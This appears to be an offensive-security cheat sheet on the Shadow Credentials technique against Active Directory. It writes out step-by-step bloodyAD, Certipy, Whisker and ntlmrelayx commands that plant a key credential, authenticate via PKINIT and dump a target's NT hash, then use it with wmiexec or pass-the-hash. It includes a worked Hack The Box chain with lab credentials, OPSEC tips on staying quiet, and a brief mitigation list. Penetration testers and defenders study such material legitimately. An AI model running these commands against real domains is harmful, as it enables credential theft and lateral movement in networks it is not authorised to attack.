shadow-credentials-msds-keycredentiallink-abuse.md (8416B)
1 --- 2 title: "Shadow Credentials — msDS-KeyCredentialLink Abuse" 3 description: "Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute msDS-KeyCredentialLink. If…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "ntlm", "relay", "lateral-movement"] 7 tools: ["Rubeus", "Certipy", "BloodHound", "faketime"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/Shadow Credentials — msDS-KeyCredentialLink Abuse.md" 11 --- 12 # Shadow Credentials — msDS-KeyCredentialLink Abuse 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | ACL-based Escalation / Lateral Movement (Key Trust) | 19 | **Difficulty** | Low–Medium | 20 | **Pre-requisites** | `GenericWrite` / `GenericAll` / `WriteProperty` over the target's `msDS-KeyCredentialLink`; a DC that supports PKINIT (KDC cert present — i.e. ADCS in the forest) | 21 | **Tools** | Certipy (`shadow`), Whisker, pyWhisker, ntlmrelayx, BloodyAD | 22 | **OPSEC Noise** | Low — one attribute write, normal PKINIT auth | 23 | **One-liner** | Write a Key Credential (your public key) into a target's `msDS-KeyCredentialLink`, then PKINIT-authenticate as that target with the matching private key — no password reset, no ADCS template needed. | 24 25 *** 26 27 ## What Is Shadow Credentials? 28 29 Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute **`msDS-KeyCredentialLink`**. If you have **write** over that attribute on a target user or computer (a common BloodHound ACL edge: `GenericWrite`, `GenericAll`, `AllowedToAct`, or `WriteProperty`), you can append **your own** Key Credential. You then authenticate as the target via **PKINIT** and, with UnPAC-the-hash, recover their NT hash. 30 31 It is the cleanest way to weaponise a write-ACL edge: unlike a password reset it is reversible and quiet, and unlike an ADCS ESC it needs no vulnerable template — only that PKINIT works in the forest. 32 33 <figure class="flow plate corners"> 34 <figcaption class="flow__cap"><span class="flow__kind">Shadow Credentials attack</span><span class="flow__dir">LR</span></figcaption> 35 <div class="flow__body"> 36 <div class="flow__diagram" data-dir="lr"> 37 <div class="flow-rank"><div class="flow-node is-entry">GenericWrite over target</div></div> 38 <div class="flow-edge"></div> 39 <div class="flow-rank"><div class="flow-node">Write Key Credential<span class="sub">into msDS-KeyCredentialLink</span></div></div> 40 <div class="flow-branches"> 41 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">PKINIT with your<span class="sub">private key</span></div><div class="flow-edge"></div><div class="flow-node is-goal">TGT + NT hash of target</div></div> 42 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node is-note">Restore attribute<span class="sub">clean up</span></div></div> 43 </div> 44 </div> 45 </div> 46 </figure> 47 48 *** 49 50 ## Step 0 — Confirm the Edge 51 52 ```bash 53 # BloodHound: look for GenericWrite/GenericAll/WriteProperty -> target 54 # Certipy/Bloodyad can also read the attribute 55 bloodyAD -u me -p pass -d domain.htb --host $TARGET get object 'targetuser' --attr msDS-KeyCredentialLink 56 ``` 57 58 *** 59 60 ## Step 1 (Option A) — bloodyAD only, no Certipy 61 62 > [!tip] bloodyAD does the entire attack in one command 63 > `add shadowCredentials` writes the Key Credential, performs PKINIT, and prints the target's **NT hash** directly. It also saves a TGT ccache (or a `.pfx` if PKINIT fails) via `--path`. This fully replaces `certipy shadow auto` — you never need Certipy for Shadow Credentials. 64 65 ```bash 66 bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser 67 ``` 68 69 ``` 70 [+] KeyCredential generated with DeviceID ... added to targetuser 71 [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325 72 ``` 73 74 ```bash 75 # save the recovered TGT/pfx somewhere specific 76 bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser --path /tmp/targetuser 77 78 # cleanup — remove the planted Key Credential 79 bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' remove shadowCredentials targetuser 80 ``` 81 82 > [!warning] DC FQDN + clock skew 83 > PKINIT is Kerberos, so use the DC **name** (`--host dc01.domain.htb`, not the IP) and wrap with `faketime -f '+Xh'` if the clock is skewed (see faketime-cheatsheet). 84 85 ### Worked chain — GenericAll on a group → add self → shadow-cred members (HTB Fluffy) 86 87 ```bash 88 # 1. GenericAll over 'Service Accounts' -> add yourself (grants GenericWrite over members) 89 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add groupMember 'Service Accounts' p.agila 90 91 # 2. Shadow-cred each service account -> NT hash, no Certipy 92 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc 93 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials ca_svc 94 ``` 95 96 *** 97 98 ## Step 1 (Option B) — Certipy (auto: add, auth, restore) 99 100 ```bash 101 certipy-ad shadow auto \ 102 -u 'me@domain.htb' -p 'Passw0rd!' \ 103 -dc-ip $TARGET -dc-host dc01.domain.htb \ 104 -account 'targetuser' 105 ``` 106 107 > **Certipy v5 —** if `-dc-ip` alone gives `[Errno 113] No route to host`, add `-dc-host dc01.<domain>` (and `-ns $TARGET`), or drop `-dc-ip` and let Certipy resolve the DC via `/etc/hosts`. 108 109 ``` 110 [*] Adding Key Credential to 'targetuser' 111 [*] Authenticating as 'targetuser' via PKINIT 112 [*] Got TGT ... 113 [*] Got hash for 'targetuser@domain.htb': aad3b...:<NTHASH> 114 [*] Restoring the old Key Credential attribute 115 ``` 116 117 > [!tip] `auto` self-cleans 118 > `shadow auto` adds the key, authenticates, dumps the hash, then restores the original attribute value so you leave no lingering Key Credential. 119 120 *** 121 122 ## Step 2 — Manual (Certipy sub-steps / Whisker) 123 124 ```bash 125 # Certipy granular 126 certipy-ad shadow add -u me -p pass -account targetuser -dc-ip $TARGET # returns a saved .pfx + device-id 127 certipy-ad shadow list -u me -p pass -account targetuser -dc-ip $TARGET 128 certipy-ad shadow remove -u me -p pass -account targetuser -device-id <GUID> -dc-ip $TARGET 129 130 # Windows — Whisker 131 Whisker.exe add /target:targetuser 132 # outputs a Rubeus asktgt command with the /certificate blob -> UnPAC the hash 133 ``` 134 135 ```bash 136 # During NTLM relay (relay a coerced auth straight into a Shadow Cred write) 137 ntlmrelayx.py -t ldap://DC01 --shadow-credentials --shadow-target 'targetuser' 138 ``` 139 140 *** 141 142 ## Step 3 — Use It 143 144 ```bash 145 export KRB5CCNAME=targetuser.ccache 146 wmiexec.py -k -no-pass DC01.domain.htb 147 # or Pass-the-Hash with the recovered NT hash 148 ``` 149 150 > [!warning] Clock skew 151 > PKINIT is Kerberos. On `KRB_AP_ERR_SKEW`, wrap Certipy with faketime (see faketime-cheatsheet). 152 153 *** 154 155 ## When It Fails 156 157 | Symptom | Cause | 158 | :-- | :-- | 159 | `KDC has no support for PADATA type (PKINIT)` | No KDC/enrolment cert in the forest — Key Trust unavailable. Fall back to RBCD or password reset on the edge. | 160 | Access denied writing attribute | You don't actually have write over `msDS-KeyCredentialLink` (edge misread). | 161 | Auth works, no hash | UnPAC step needs the U2U; Certipy does it automatically, Rubeus needs `/getcredentials`. | 162 163 *** 164 165 ## OPSEC Considerations 166 167 | Action | Log | Noise | 168 | :-- | :-- | :-- | 169 | Write `msDS-KeyCredentialLink` | Event 5136 (attribute modify) | 🟡 Medium (if audited) | 170 | PKINIT auth | Event 4768 with cert info | 🟢 Low | 171 | Restore attribute | Event 5136 | 🟢 Low | 172 173 *** 174 175 ## Mitigation 176 177 - Audit and restrict write access to `msDS-KeyCredentialLink`; remove unnecessary `GenericWrite`/`GenericAll` edges (BloodHound review). 178 - Enable SACL auditing (5136) on the attribute and alert on writes by non-AAD-Connect principals. 179 - Where Windows Hello for Business Key Trust is unused, monitor for **any** Key Credential additions. 180 181 *** 182 183 ## See Also 184 185 - _ADCS Attack Methodology Guide · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) · faketime-cheatsheet · bloodhound-ce-python-cheatsheet 186 - Sources: Elad Shamir *Shadow Credentials*; [Whisker](https://github.com/eladshamir/Whisker); [pyWhisker](https://github.com/ShutdownRepo/pywhisker); [Certipy Wiki](https://github.com/ly4k/Certipy/wiki); [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)